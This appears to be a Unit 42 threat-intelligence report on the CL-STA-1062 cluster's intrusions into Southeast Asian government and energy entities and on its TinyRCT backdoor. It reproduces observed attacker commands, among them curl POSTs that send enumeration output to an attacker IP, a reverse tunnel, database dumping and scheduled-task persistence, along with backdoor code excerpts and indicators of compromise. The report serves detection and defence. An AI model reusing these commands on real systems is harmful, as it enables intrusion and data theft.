

CL-STA-1062 Targets Southeast Asian Governments and Critical Infrastructure

By Unit 42

Published: 2026-06-25 · Archived: 2026-07-28 02:00:24 UTC

Executive Summary

Throughout 2025, we observed a cluster of activity targeting government entities and critical infrastructure in Southeast Asia. Specifically, the activity targeted state-owned enterprises in the energy and government sectors.

The Chinese-speaking attackers behind this cluster, which we track as [CL-STA-1062](#), have been active since at least March 2022. We assess with high confidence that this is the same cluster, known as UAT-7237, that was reported for its campaigns against web hosting infrastructure in Taiwan in mid 2025. We also observed CL-STA-1062 campaigns in earlier operations targeting strategic sectors in East Asia, indicating a broader, sustained regional focus.

From a technical standpoint, the attackers behind CL-STA-1062 rely on a hybrid toolkit. While they frequently use common open-source tools such as SoftEther VPN, Mimikatz and VNT, they have recently introduced TinyRCT, a bespoke, previously undocumented backdoor.

TinyRCT's capabilities include:

- Arbitrary command execution
- File enumeration and exfiltration
- Screen capture
- A self-destruct mechanism

We detail the latest campaign linked to CL-STA-1062 against the energy and government sectors in Southeast Asia, and provide a technical analysis of the new TinyRCT backdoor.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

- [Cortex XDR](#) and [XSIAM](#)
- [Advanced WildFire](#)
- [Advanced URL Filtering](#) and [Advanced DNS Security](#)

If you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team](#).

Latest Campaign Analysis

While this article focuses on CL-STA-1062 activity against targets in Southeast Asia during 2025, our telemetry reveals that the attackers behind this cluster have been conducting operations across East Asia since 2022. We assess with high confidence that this is the same activity cluster tracked by Cisco Talos as [UAT-7237](#), previously reported for its campaigns against web hosting infrastructure in Taiwan. Building on recent observed activity, our investigation into CL-STA-1062 activity highlights a broader long-term strategy in the Asia-Pacific region.

Targeting Southeast Asian Government Entities

In September 2025, we discovered that the attackers behind CL-STA-1062 had compromised a Southeast Asian government entity by deploying web shells and exfiltrating database information. Figure 1 shows the command line used to exfiltrate data from an MSSQL server.

```
C:\Program Files\Microsoft SQL Server\140\Tools\Binn\OSQL.EXE" -S
127.0.0[.]1 -U [REDACTED] -P [REDACTED] -Q "use [REDACTED];select * from
[REDACTED]_Users" -o d:\[REDACTED]\Content\1.sql -w 2000
```

Figure 1. Exfiltrating data from the MSSQL server.

During this intrusion, the attackers were also able to conduct network reconnaissance on a separate government entity in the same country. This suggests an effort to identify lateral movement opportunities and broaden their access. In one case, we observed the attacker staging and exfiltrating an entire directory of web server source code from the government entity, as Figure 2 shows.

```
"C:\PROGRA~1\WinRAR\rar.exe" a -k -r -s -m1 d:\backup\web.rar d:\[REDACTED]\
```

Figure 2. Archiving the folder containing the web server source code.

Between October and December 2025, we observed the likely compromise of at least ten different organizations in Southeast Asia.

Focusing on Critical Energy Infrastructure

Since mid 2025, as part of activities in Southeast Asia, the threat actor behind CL-STA-1062 focused on critical infrastructure. We identified that a critical infrastructure entity had been under attack for several months. The activity within the compromised network was comprehensive, covering the entire attack lifecycle from initial access to data exfiltration.

The following month, we discovered that the attackers behind CL-STA-1062 had also compromised two state-owned critical energy infrastructure (CEI) entities in the same Southeast Asian country. We observed attackers scanning the entities for vulnerabilities, shortly followed by outbound requests from the infected networks. These requests connected to attacker-controlled infrastructure and resulted in the victim networks downloading malicious payloads that included SoftEther VPN components and RAR archives containing the group's tools.

Figure 3 shows HTTP requests that download the attackers' tools to the targeted networks.

```

139.180.134[.]221/sdksdk608/1.zip
139.180.134[.]221/sdksdk608/anydesk%5f0117.zip
139.180.134[.]221/sdksdk608/hamcore.se2
139.180.134[.]221/sdksdk608/httpdf → fscan
139.180.134[.]221/sdksdk608/vpn%5fbridge.config
139.180.134[.]221/sdksdk608/win-vpn.rar → SoftEther

```

Figure 3. Examples of outbound requests from an infected network.

Evolving TTPs and Open-Source Toolkit

The intrusions we observed typically begin with the attackers exploiting web applications to deploy ASPX web shells. These web shells function as the central mechanism for executing arbitrary commands, dropping additional tooling and conducting initial reconnaissance. As part of our observations of CL-STA-1062, we noted activity sending the results of network and system enumeration directly to an actor-controlled IP address using curl. Figure 4 shows an example of the command lines used.

```

powershell "$cmd=(whoami);curl http://202.182.102[.]5/ -Method POST -Body $cmd"
powershell "$cmd=(ipconfig | findstr /i ipv4);curl http://202.182.102[.]5/ -Method POST -Body $cmd"
powershell "$c=(net1 group "domain admins" /domain);curl http://202.182.102[.]5/ -Method POST -Body $c"

```

Figure 4. System enumeration command lines.

From this foothold, the activity includes open-source tools and custom malware. The attackers also adapt techniques to the target environment.

The attackers behind the activity frequently use tunneling tools for command and control (C2) and data exfiltration. They deployed a variety of these tools, including:

- [SoftEther VPN](#)
- [yuze](#)
- [VNT](#)

These tools were often disguised as legitimate system files, such as VMware executables or an XDR agent. Figure 5 shows the command line used by the group to execute a yuze instance.

```
d:\logfiles\XDRAgent.exe reverse -c 45.76.210[.]43:41256 -u admin -p [REDACTED]
```

Figure 5. yuze command-line execution.

In one case, the attackers used a web shell to extract a password-protected RAR archive containing a SoftEther VPN binary masquerading as vmtools.exe. Figure 6 shows the extraction and execution of the SoftEther VPN binary.

```

cmd.exe /c C:\PROGRA~2\WinRAR\rar.exe x -t -o-p C:\ProgramData\VMware\test2.rar
C:\ProgramData\VMware\
cmd.exe /c C:\ProgramData\VMware\test\vmtools.exe /usermode_hidetray

```

Figure 6. Extracting and executing SoftEther VPN.

In another case, the attackers attempted to disguise VNT as a VMware executable, as shown in Figure 7.

```
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\ProgramData\VMware\vmware.exe  
-k [REDACTED] -o 0.0.0[.]0/0" /sc onlogon /rl highest
```

Figure 7. Creating a scheduled task to execute a VNT binary.

In one instance, the attackers used traceroute to identify potential lateral movement paths to another government entity. To escalate privileges, the attackers deployed known open-source tools, such as [JuicyPotato](#). For data staging and exfiltration, they frequently compressed findings into password-protected RAR archives.

Technical Analysis of TinyRCT

During our investigation into the campaign's infrastructure, we observed the server at 139.180.134[.]221 hosting a suspicious executable named PerfWatson2.exe. By pivoting on this IP address, we were able to retrieve and analyze the binary, identifying it as a previously undocumented .NET backdoor. Analysis of the binary's internal strings revealed that the authors refer to this tool as TinyRCT.

TinyRCT is a lightweight, C#-based remote access Trojan (RAT) targeting Windows. It operates as a backdoor, enabling attackers to execute arbitrary system commands, exfiltrate files, capture screenshots and remotely manage the infected host.

Upon execution, the malware performs an environment validation to explicitly verify that it was executed from %LOCALAPPDATA%. If the malware was executed from any other location – such as a sandbox environment or a malware analyst's desktop – the binary terminates immediately.

The execution of TinyRCT can be blocked by implementing strict behavioral monitoring and execution restrictions on untrusted binaries. Figure 8 shows how an execution attempt by the TinyRCT malware, masquerading as PerfWatson2.exe, is prevented and alerted by Cortex XDR.



Figure 8. A prevention alert of blocking the TinyRCT malware execution attempt as seen in Cortex XDR in prevent mode.

Host Fingerprinting and Registration

Before entering its main command loop, TinyRCT conducts initial reconnaissance to fingerprint the infected host. It aggregates critical system information to generate a unique victim profile, collecting the following data points:

- **User and system context:** Current username, machine name and OS version.
- **Network and execution:** Local IP addresses, the complete execution path of the malware and the current process ID (PID).
- **Identity:** A randomly generated globally unique identifier (GUID) to serve as the bot's identifier.

This data is concatenated, encrypted and immediately transmitted to the C2 server via an HTTP POST request. This registration packet allows the attacker to profile the newly infected host and decide whether to issue further commands or terminate the infection based on the host's assessed value.

C2 Communication

After successful registration, TinyRCT establishes a persistent communication channel with the C2 server at 45.32.113[.]172. The malware uses standard HTTP for network traffic, but it encrypts all exchanged data using AES-128 encryption in CBC mode. The encryption key (ThisIsASecretKey87654321) and a null Initialization Vector (IV) are hard-coded directly within the binary.

The malware operates on a beaconing model, with a default 10-second sleep interval between requests. It polls the C2 server for instructions using GET requests, while it sends exfiltrated data via POST requests.

Supported Commands and Capabilities

The backdoor is designed for surveillance and remote management and executes a concise set of commands. When the C2 server responds to a beacon, the malware decrypts and parses the payload, and then executes the appropriate commands from the following functions:

- **Shell execution:** Executes the command via cmd.exe (or direct process execution) and returns stdout/stderr.
- **Update configuration:** Updates the sleep interval.
- **File listing:** Enumerates directories and files in the specified path. Returns format: Filename*Date*Size.
- **Read text file:** Reads a text file and returns content.
- **Download file:** Downloads a file from a URL and saves it to the desired path.
- **Exfiltrate file:** Reads a binary file from the requested path, compresses its contents using gzip, encrypts them using AES and sends them to the C2 in 40 KB chunks.
- **Screen capture:** Captures the primary screen, saves the capture as a JPEG file, compresses it, encrypts it and sends it to the C2.
- **Self-destruct:** Triggers the cleanup routine.

Figure 9 shows the C2 server response parsing function of TinyRCT, including a line of code in Simplified Chinese.

```
public static async Task<string> ResloveData(string htmlcode)
{
    string htmlresponse = EncryptAES("", setting.Serverkey);
    try
    {
        string palintext = DecryptAES(htmlcode, setting.Serverkey);
        if (Regex.IsMatch(palintext, "<Cmd>\\|<(.*)>"))
        {
            Match match = Regex.Match(palintext, "<Cmd>\\|<(.*)>");
            string cmd = match.Groups[1].ToString();
            if (!string.IsNullOrEmpty(cmd))
            {
                string text = await ExecuteCommandAsync(cmd);
                Console.WriteLine("命令执行的结果: " + text);
                text = text.Trim();
                htmlresponse = $"<{cmd}>|<{text}>";
                htmlresponse = EncryptAES(htmlresponse, setting.Serverkey);
                setting.Type = 2;
            }
        }
    }
}
```

Translation:
Result of command execution

Figure 9. The C2 response parsing function of TinyRCT.

Self-Destruct Mechanism

A notable feature of TinyRCT is its cleanup capability, triggered by the self-destruct command. This routine is designed to remove forensic evidence of the infection.

Upon receiving the self-destruct command, the malware first deletes the GoogleUpdater scheduled task created by the loader. It then executes a self-deletion routine using a legacy batch command technique involving the choice.exe program. This routine deletes the malware's PerfWatson2 executable, as Figure 10 shows.

```
cmd.exe /C choice /C Y /N /D Y /T 3
& Del "C:\Users\[User]\AppData\Local\PerfWatson2.exe"
```

Figure 10. The complete choice.exe command line.

The use of choice.exe creates a three-second delay, ensuring the primary malware process has fully terminated and released its file handle before the delete command executes.

Infection Vector

Our analysis began with the discovery of the PerfWatson2.exe payload hosted on the attacker's C2 infrastructure. By pivoting from this artifact, we reconstructed the infection chain, identifying its origin as a malicious archive named chrome_setup.zip.

Inside the zip were three files:

- A legitimate executable
- A configuration file

- A malicious DLL

This specific combination of files is used to perform [AppDomainManager Injection](#) – a technique that exploits the trust relationship between a .NET application and its configuration file. The archive contains a legitimate, signed chrome_setup.exe executable paired with a malicious chrome_setup.exe.config configuration file.

When the user runs the executable, the .NET runtime reads the adjacent configuration file. This forces the loading of a malicious DLL (MyAppDomainManager.dll) to act as the application's manager. This allows the malicious code to execute instantly and covertly within the context of a trusted process.

Once injected into the legitimate setup process, the malicious MyAppDomainManager.dll functions primarily as a stealthy downloader and persistence enabler.

Upon initialization, the malicious loader runs a critical environmental check to validate its execution context. It explicitly verifies that the host process is running from %USERPROFILE%\Downloads — the user's Downloads directory. If this check fails, it likely indicates the sample was moved to a sandbox or an analyst's desktop, and the loader terminates immediately. Figure 11 shows this check in the loader source code.

```
string value = Environment.GetEnvironmentVariable("USERPROFILE") + "\\Downloads";  
if (!Environment.CurrentDirectory.Contains(value))  
{  
    return;  
}
```

Figure 11. The loader's initial environment check.

If the validation passes, the loader contacts the staging server at 139.180.134[.]221 to retrieve the secondary payload. The loader saves this payload to the user's %LOCALAPPDATA% directory as PerfWatson2.exe, mimicking the legitimate telemetry component associated with Microsoft Visual Studio.

To ensure this payload runs continuously without user interaction, the loader constructs and executes a specific schtasks command. This command creates a scheduled task named GoogleUpdaterTaskSystem140.0.7272.0 {ACE7A46F-50FD-481C-AB32-3D838871DB40}. The task is configured to run the malware with the highest available privileges (e.g., /rl highest) every time the user logs on to the system (e.g., /sc onlogon). This ensures that the infection survives system reboots.

Conclusion

Our investigation into CL-STA-1062 reveals a persistent activity cluster likely operated by Chinese-speaking actors. The attackers are expanding operations from Taiwan to critical infrastructure and government entities in Southeast Asia. They demonstrated their ability to infiltrate strategic sectors – specifically energy and government organizations.

The combination of tools observed in this activity cluster reflects a pragmatic approach to tool selection and attack capabilities. The attackers behind this cluster continue to leverage common open-source tools such as SoftEther VPN and VNT to facilitate lateral movement. Our discovery of the TinyRCT backdoor in the attackers' infrastructure underscores their ability to customize tools to gain specific capabilities.

The combination of targeting critical infrastructure and the development of custom malware suggests that CL-STA-1062 activity will continue to pose a threat to the region. Organizations in Southeast Asia, particularly within the energy and government sectors, should remain vigilant against this evolving activity.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

- [Cortex XDR](#) and [XSIAM](#) help to prevent the threats described in this article, by employing the [Malware Prevention Engine](#). This approach combines several layers of protection, including [Advanced WildFire](#), Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints.
- The [Advanced WildFire](#) machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
- [Advanced URL Filtering](#) and [Advanced DNS Security](#) identify known domains and URLs associated with this activity as malicious.

If you think you may have been compromised or have an urgent matter, get in touch with the [Unit 42 Incident Response team](#) or call:

- North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
- UK: +44.20.3743.3660
- Europe and Middle East: +31.20.299.3130
- Asia: +65.6983.8730
- Japan: +81.50.1790.0200
- Australia: +61.2.4062.7950
- India: 000 800 050 45107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the [Cyber Threat Alliance](#).

Indicators of Compromise

SHA256 Hashes

chrome_setup.zip file:

- 00e09754526d0fe836ba27e3144ae161b0ecd3774abec5560504a16a67f0087c

fscan:

- f34bd1d485de437fe18360d1e850c3fd64415e49d691e610711d8d232071a0b1

SoftEther VPN:

- dce5df29bddff5a4dda5c4fec14da91f7b69063a6e1c45ed61e5da4fc6c87b

TinyRCT downloader:

- cbfe8de6ffadbb1d396f61e63eb18e8b11c29527c1528641e3223d4c516cf7c3

TinyRCT:

- 4e1f888d020decd09799ec946f1bf677cac6612b24582ddbf4d8ede425d8384

VNT:

- 9b481b69cd91b09fa7bae7428f646dd89473a4c03393e43da81fe756cde1c472

C2 Servers

IPv4 addresses:

- 139.180.134[.]221
- 202.182.102[.]5
- 45.76.210[.]43
- 45.32.113[.]172

URLs:

- hxxp[:]//139.180.134[.]221/sdksdk608/1.zip
- hxxp[:]//139.180.134[.]221/sdksdk608/anydesk%5f0117.zip
- hxxp[:]//139.180.134[.]221/sdksdk608/hamcore.se2
- hxxp[:]//139.180.134[.]221/sdksdk608/httpdf
- hxxp[:]//139.180.134[.]221/sdksdk608/vpn%5fbridge.config
- hxxp[:]//139.180.134[.]221/sdksdk608/win-vpn.rar
- hxxp[:]//139.180.134[.]221/PerfWatson2.exe

Additional Resources

- [UAT-7237 targets Taiwanese web hosting infrastructure](#) – Cisco Talos
- [VNT - An efficient VPN](#) – GitHub
- [JuicyPotato Malware Family](#) – Malpedia
- [Hijack Execution Flow: AppDomainManager](#) – MITRE ATT&CK® documentation
- [SoftEther VPN](#) – Wikipedia

Source: <https://unit42.paloaltonetworks.com/cl-sta-1062-tinyrct-backdoor/>